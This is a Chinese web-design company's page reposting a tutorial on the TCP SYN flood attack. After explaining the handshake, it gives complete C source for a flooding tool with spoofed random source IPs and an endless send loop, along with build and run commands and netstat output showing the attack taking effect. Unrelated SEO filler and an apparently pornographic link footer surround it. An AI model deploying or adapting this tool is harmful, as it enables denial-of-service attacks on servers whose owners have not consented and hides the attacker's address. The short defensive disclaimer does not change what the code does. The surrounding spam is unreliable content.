1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          [黑客入門] TCP SYN洪水 攻擊原理與實現

          來源:互聯網轉載 時間:2024-01-29 08:21:17

          注意:本文只探討技術,請勿用于非法用途,否則后果自負。

          TCP協議是 TCP/IP 協議棧中一個重要的協議,平時我們使用的瀏覽器,APP等大多使用 TCP 協議通訊的,可見 TCP 協議在網絡中扮演的角色是多么的重要。

          TCP 協議是一個可靠的、面向連接的流協議,由于 TCP 協議是建立在 IP 協議這種面向無連接的協議,所以 TCP 協議必須自己來維護連接的狀態。

          三次握手過程

          TCP 協議通過一種名為 三次握手 的過程來建立客戶端與服務端的連接,三次握手 過程的原理如圖1:

          (圖一 三次握手過程)

          建立連接三次握手過程如下:

          • 客戶端需要發送一個 SYN包 給服務端(包含了客戶端初始化序列號),并且將連接的狀態設置為 SYN_SENT,這個過程由 connect() 系統調用完成。
          • 服務端接收到客戶端發送過來的 SYN包 后,回復一個 SYN+ACK包 給客戶端(包含了服務端初始化序列號),并且設置連接的狀態為 SYN_RCVD。
          • 客戶端接收到服務端發送過來的 SYN+ACK包 后,設置連接狀態為 ESTABLISHED(表示連接已經建立),并且回復一個 ACK包 給服務端。
          • 服務端接收到客戶端發送過來的 ACK包 后,將連接狀態設置為 ESTABLISHED(表示連接已經建立)。

          三次握手 過程完成后,一個 TCP 連接就此建立完成。

          SYN Flood攻擊原理

          上面介紹了建立一個 TCP 連接的 三次握手 過程,我們可以發現,三次握手 屬于一個協商的過程,也就是說客戶端與服務端必須嚴格按照這個過程來進行,否則連接就不能建立。

          這時,如果客戶端發送 SYN包 企圖與服務端建立連接,但發送完 SYN包 后就不管,那會發送什么事情呢?如圖2所示:

          (圖2 SYN-Flood)

          客戶端發送一個 SYN包 給服務端后就退出,而服務端接收到 SYN包 后,會回復一個 SYN+ACK包 給客戶端,然后等待客戶端回復一個 ACK包。

          但此時客戶端并不會回復 ACK包,所以服務端只能一直等待直到超時。服務端超時后,會重發 SYN+ACK包 給客戶端,默認會重試 5 次,而且每次等待的時間都會增加(可以參考 TCP 協議超時重傳的實現)。

          另外,當服務端接收到 SYN包 后,會建立一個半連接狀態的 Socket。所以,當客戶端一直發送 SYN包,但不回復 ACK包,那么將會耗盡服務端的資源,這就是 SYN Flood 攻擊。

          SYN Flood攻擊實驗

          接下來,我們通過自己編寫代碼來進行 SYN Flood攻擊 實驗。

          因為 SYN Flood攻擊 需要構建 TCP 協議頭部,所以下面介紹一下 TCP 協議頭部的格式,如圖3:

          (圖3 TCP 協議頭部格式)

          我們定義以下結構來描述 TCP 協議頭部:

          struct tcphdr {    unsigned short      sport;    // 源端口    unsigned short      dport;    // 目標端口    unsigned int        seq;      // 序列號    unsigned int        ack_seq;  // 確認號    unsigned char       len;      // 首部長度    unsigned char       flag;     // 標志位    unsigned short      win;      // 窗口大小    unsigned short      checksum; // 校驗和    unsigned short      urg;      // 緊急指針};

          下面是設置 TCP 頭部的過程:

          • 標志位中的 SYN 字段必須設置為 1,表示這是一個 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以將 flag 字段設置為 0x02。
          • 源端口號和序列號我們可以隨機設置一個,目的端口號設置成要攻擊的目標端口。
          • 確認號設置為 0,因為我們還不知道服務端的序列號。
          • 窗口大小可以隨便設置,但通常不要設置太小(可以設置成1024)。
          • 校驗和這個比較復雜,因為 TCP 協議在計算檢驗和時,要加上一個12字節的偽首部,偽首部格式如下圖:
            • 偽首部共有 12 字節,包含 IP 協議頭部的一些字段,有如下信息:32位源IP地址、32位目的IP地址、8位保留字節(置0)、8位傳輸層協議號(TCP是6,UDP是17)、16位TCP報文長度(TCP首部+數據)。
            • TCP 協議校驗和計算三部分:TCP偽首部 + TCP頭部 + TCP數據。
          • 緊急指針可以設置為 0。

          按照上面的分析,定義 TCP 偽首部的結構如下:

          struct pseudohdr {    unsigned int        saddr;    unsigned int        daddr;    char                zeros;    char                protocol;    unsigned short      length;};

          計算校驗和的算法有點復雜,所以這里直接從網上找到一個封裝好的函數,如下(有興趣可以參考 TCP 協議的 RFC 文檔):

          unsigned short inlinechecksum(unsigned short *buffer, unsigned short size)     {      unsigned long cksum = 0;    while (size > 1) {        cksum += *buffer++;        size  -= sizeof(unsigned short);    }    if (size) {        cksum += *(unsigned char *)buffer;    }    cksum = (cksum >> 16) + (cksum & 0xffff);    cksum += (cksum >> 16);         return (unsigned short )(~cksum);}

          另外,為了在攻擊的時候能夠設置不同的 IP 地址(因為相同的 IP 地址容易被識別而過濾),我們還需要定義 IP 協議頭部。IP 協議頭部的格式如圖4:

          (圖4 IP 協議頭部)

          我們定義以下結構來表示 IP 協議頭部:

          struct iphdr {    unsigned char       ver_and_hdrlen;// 版本號與IP頭部長度    unsigned char       tos;           // 服務類型    unsigned short      total_len;     // 總長度    unsigned short      id;            // IP包ID    unsigned short      flags;         // 標志位(包括分片偏移量)    unsigned char       ttl;           // 生命周期    unsigned char       protocol;      // 上層協議    unsigned short      checksum;      // 校驗和    unsigned int        srcaddr;       // 源IP地址    unsigned int        dstaddr;       // 目標IP地址};

          1. 初始化 IP 頭部

          下面我們實現初始化 IP 頭部的函數 init_ip_header():

          void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){    int len = sizeof(struct ip) + sizeof(struct tcphdr);    iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));    iphdr->tos = 0;    iphdr->total_len = htons(len);    iphdr->id = 1;    iphdr->flags = 0x40;    iphdr->ttl = 255;    iphdr->protocol = IPPROTO_TCP;    iphdr->checksum = 0;    iphdr->srcaddr = srcaddr; // 源IP地址    iphdr->dstaddr = dstaddr; // 目標IP地址}

          init_ip_header() 函數比較簡單,就是通過傳入的源 IP 地址和目標 IP 地址初始化 IP 頭部結構。

          2. 初始化 TCP 頭部

          接下來,我們要實現初始化 TCP 頭部的函數 init_tcp_header():

          void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){    tcp->sport = htons(rand() % 16383 + 49152);   // 隨機生成一個端口    tcp->dport = htons(dport);                    // 目標端口    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 隨機生成一個初始化序列號    tcp->ack_seq = 0;     tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);    tcp->flag = 0x02;    tcp->win = htons(1024);      tcp->checksum = 0;    tcp->urg = 0;}

          3. 初始化 TCP 偽首部

          現在我們定義一個 TCP 偽首部初始化函數 init_pseudo_header():

          void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,                         unsigned int dstaddr){    hdr->zero = 0;    hdr->protocol = IPPROTO_TCP;    hdr->length = htons(sizeof(struct tcphdr));    hdr->saddr = srcaddr;    hdr->daddr = dstaddr;}

          4. 構建 SYN 包

          接下來我們要實現最為重要的一個函數,就是構建 SYN包,其實現如下:

          int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,                     unsigned short dport){    char buf[100];    int len;    struct iphdr ip;             // IP 頭部    struct tcphdr tcp;           // TCP 頭部    struct pseudohdr pseudo;     // TCP 偽頭部    unsigned int saddr = rand(); // 隨機生成一個源IP地址    len = sizeof(ip) + sizeof(tcp);    // 初始化頭部信息    init_ip_header(&ip, saddr, daddr);    init_tcp_header(&tcp, dport);    init_pseudo_header(&pseudo, saddr, daddr);    //計算IP校驗和    ip.checksum = checksum((u_short *)&ip, sizeof(ip));    // 計算TCP校驗和    bzero(buf, sizeof(buf));    memcpy(buf , &pseudo, sizeof(pseudo));           // 復制TCP偽頭部    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 復制TCP頭部    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));    bzero(packet, pkt_len);    memcpy(packet, &ip, sizeof(ip));    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));        return len;}

          make_syn_packet() 函數主要通過 目標IP地址目標端口 生成一個 SYN包,保存到參數 packet 中,并且返回包的大小。

          5. 創建原始套接字

          由于要發送自己構建的 IP 頭部和 TCP 頭部,所以必須使用 原始套接字 來發送。原始套接字 在創建時需要指定 SOCK_RAW 參數,下面我們定義一個創建原始套接字的函數:

          int make_raw_socket(){    int fd;    int on = 1;    // 創建一個原始套接字, 指定其關注TCP協議    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);    if (fd == -1) {        return -1;    }    // 設置需要手動構建IP頭部    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {        close(fd);        return -1;    }    return fd;}

          在調用 socket() 函數創建套接字時,指定第二個參數為 SOCK_RAW,表示創建的套接字為原始套接字。然后調用 setsockopt() 函數設置 IP 頭部由我們自己構建。

          6. 發送SYN包

          下面我們實現發送 SYN包 的函數:

          int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){    struct sockaddr_in skaddr;    char packet[256];    int pkt_len;    bzero(&skaddr, sizeof(skaddr));    skaddr.sin_family = AF_INET;    skaddr.sin_port = htons(port);    skaddr.sin_addr.s_addr = addr;    pkt_len = make_syn_packet(packet, 256, addr, port);    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,                  sizeof(struct sockaddr));}

          send_syn_packet() 函數需要傳入原始套接字、目標IP地址和目標端口,然后通過調用 sendto() 函數向服務端發送一個 SYN包。

          7. 主函數

          最后,我們來實現主函數 main():

          int main(int argc, char *argv[]){    unsigned int addr;    unsigned short port;    int sockfd;    if (argc < 3) {        fprintf(stderr, "Usage: synflood <address> <port>n");        exit(1);    }    addr = inet_addr(argv[1]);  // 獲取目標IP    port = atoi(argv[2]);       // 獲取目標端口    if (port < 0 || port > 65535) {        fprintf(stderr, "Invalid destination port number: %sn", argv[2]);        exit(1);    }    sockfd = make_raw_socket(); // 創建原始socket    if (sockfd == -1) {        fprintf(stderr, "Failed to make raw socketn");        exit(1);    }    for (;;) {        if (send_syn_packet(sockfd, addr, port) < 0) { // 發送SYN包            fprintf(stderr, "Failed to send syn packetn");        }    }    close(sockfd);    return 0;}

          main() 函數也很簡單,首先從命令行讀取到 目標 IP 地址目標端口,然后調用 make_raw_socket() 創建一個原始套接字,最后在一個無限循環中不斷向服務端發送 SYN包。

          完整的源代碼在:https://github.com/liexusong/synflood/blob/main/synflood.c


          現在我們通過以下命令來編譯這個程序:

          root@vagrant]$ gcc -o synflood synflood.c

          然后使用以下命令運行程序:

          root@vagrant]$ sudo synflood 127.0.0.1 80

          上面的命令就是攻擊本地的80端口,我們可以使用以下命令查看TCP連接的狀態:

          root@vagrant]$ netstat -np|grep tcptcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -...

          從上面的結果可以看出,服務器已經生成了很多半連接狀態的 TCP 連接,表示我們的攻擊已經生效。

          總結

          本文主要介紹了 SYN Flood攻擊 的原理與實施方式,本文的本意是通過理解攻擊原理來更好的防范被攻擊,而不是教你怎么去攻擊,所以千萬別用于惡意攻擊、千萬別用于惡意攻擊、千萬別用于惡意攻擊(重要的事情講三次)。

          另外,防止 SYN Flood攻擊 的方法很多,這里就不介紹了,有興趣可以查閱相關的資料。

          參考資料:1. https://blog.csdn.net/zhangskd/article/details/11770647

          2. https://blog.csdn.net/jiange_zh/article/details/50446172

          標簽:洪水攻擊-

          網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...

          在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...

          在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...

          北京到天津動車多少公里?從北京到天津的距離大約是135.30公里。如果從北京坐動車到天津,按照動車時速120公里計算,一個多小時就能到。京津高鐵c2563首趟列車09336004發車。京津城際鐵路c2017,c2059,c2091,京津城際鐵路c2075,可以坐這幾趟城際高鐵。北京到天津動車多少公里?從北京到天津的動車的公里數大約是60公里。北京到天津動車哪個字母開頭?c字頭是城際列車。單號下行(...

          QQ炫舞里如何在離婚之后消除伴侶記錄?離婚后可以改名消除合作伙伴記錄是的,下一個將顯示為第一個合作伙伴。但是,如果再婚后改名,前伴侶 的名稱將被刪除,但當前的合作伙伴仍將顯示為第二個。直播伴侶分辨率能手動修改嗎?live companion的分辨率可以手動修改。1.首先雙擊電腦桌面上的抖音短視頻,啟動程序,進入主界面。2.單擊 "更多 "選項,并從下拉菜單中選擇分辨率設置。3.在彈出的分辨率設置對...

          《踏山河》完整版歌詞歌曲踏山河完整版歌詞?踏山河歌詞曲原唱?《踏山河》是由祝何作詞,祝何作曲,由歌手“是七叔呢”演唱的歌曲,收錄于同名專輯《踏山河》,于2020年11月19日發行。歌詞:秋風落日入長河 ,江南煙雨行舟;亂石穿空 ,卷起多少的烽火;萬里山河都踏過 ,天下又入誰手;分分合合 ,不過幾十載春秋;我在 十面埋伏, 四面楚歌的時候;把酒與蒼天對酌,縱然一去不回 此戰又如何;誰見 萬箭齊發 星...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>